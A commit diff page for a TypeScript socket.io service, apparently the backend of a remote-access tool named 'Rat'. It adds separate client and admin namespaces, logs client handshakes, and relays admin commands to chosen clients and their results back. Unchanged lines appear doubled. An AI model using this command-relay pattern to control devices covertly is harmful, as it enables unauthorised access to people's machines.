xiongzhu 1 年之前
父节点
当前提交
96fe728182
共有 2 个文件被更改,包括 46 次插入20 次删除
  1. 0 0
      app/Controllers/Http/RatController.ts
  2. 46 20
      app/Services/Ws.ts

+ 0 - 0
app/Controllers/Http/RatsController.ts → app/Controllers/Http/RatController.ts


+ 46 - 20
app/Services/Ws.ts

@@ -1,11 +1,13 @@
 import Logger from '@ioc:Adonis/Core/Logger'
 import Logger from '@ioc:Adonis/Core/Logger'
-import { Server, Socket } from 'socket.io'
+import { Namespace, Server, Socket } from 'socket.io'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import AdonisServer from '@ioc:Adonis/Core/Server'
 import auth from 'App/Middleware/Auth'
 import auth from 'App/Middleware/Auth'
 class Ws {
 class Ws {
     public io: Server
     public io: Server
+    public clientsIO: Namespace
+    public adminIO: Namespace
     private booted = false
     private booted = false
-    private clients: any[] = []
+    private clients: { [key: string]: any } = {}
     public boot() {
     public boot() {
         /**
         /**
          * Ignore multiple calls to the boot method
          * Ignore multiple calls to the boot method
@@ -16,34 +18,58 @@ class Ws {
 
 
         this.booted = true
         this.booted = true
         this.io = new Server(AdonisServer.instance!, {
         this.io = new Server(AdonisServer.instance!, {
+            path: '/ws',
             cors: {
             cors: {
                 origin: '*'
                 origin: '*'
             }
             }
         })
         })
+        this.clientsIO = this.io.of('client')
+        this.adminIO = this.io.of('admin')
 
 
-        this.io.on('connection', (socket: Socket) => {
-            this.clients.push({ id: socket.id })
-            socket.on('clients', () => {
-                socket.emit('clients', this.clients)
+        this.clientsIO.on('connection', (socket: Socket) => {
+            Logger.info('Client connected ' + JSON.stringify(socket.handshake))
+            this.clients[socket.id] = {
+                ...socket.handshake
+            }
+
+            socket.on('disconnect', (reason) => {
+                Logger.info('Client disconnected ' + reason)
+                delete this.clients[socket.id]
             })
             })
 
 
-            socket.on('sms', ({ id }) => {
-                this.io.to(id).emit('sms', { message: 'Hello' })
+            socket.on('info', (data) => {
+                this.clients[socket.id] = { id: socket.id, ...this.clients[socket.id], ...data }
             })
             })
 
 
-            console.log(
-                'Client connected ' + JSON.stringify(socket.handshake.query) + ' id=' + socket.id
-            )
-            socket.on('disconnect', (reason) => {
-                console.log(
-                    'Client disconnected ' +
-                        JSON.stringify(socket.handshake.query) +
-                        ' id=' +
-                        socket.id
-                )
+            socket.on('result', (args: { to: string; action: string; data: any }) => {
+                Logger.info('got cmdResult ' + JSON.stringify(args))
+                this.adminIO.to(args.to).emit('result', {
+                    from: socket.id,
+                    action: args.action,
+                    data: args.data
+                })
             })
             })
-            socket.on('info', (data) => {
-                console.log(data)
+        })
+
+        this.adminIO.on('connection', (socket: Socket) => {
+            Logger.info('Admin connected ' + JSON.stringify(socket.handshake))
+            socket.on('clients', (args) => {
+                this.adminIO.to(socket.id).emit('clients', Object.values(this.clients))
+            })
+            socket.on('sendCmd', (args: { to: string; action: string; data: any }) => {
+                Logger.info(
+                    'sent cmd ' +
+                        JSON.stringify({
+                            from: socket.id,
+                            action: args.action,
+                            data: args.data
+                        })
+                )
+                this.clientsIO.to(args.to).emit('cmd', {
+                    from: socket.id,
+                    action: args.action,
+                    data: args.data
+                })
             })
             })
         })
         })
     }
     }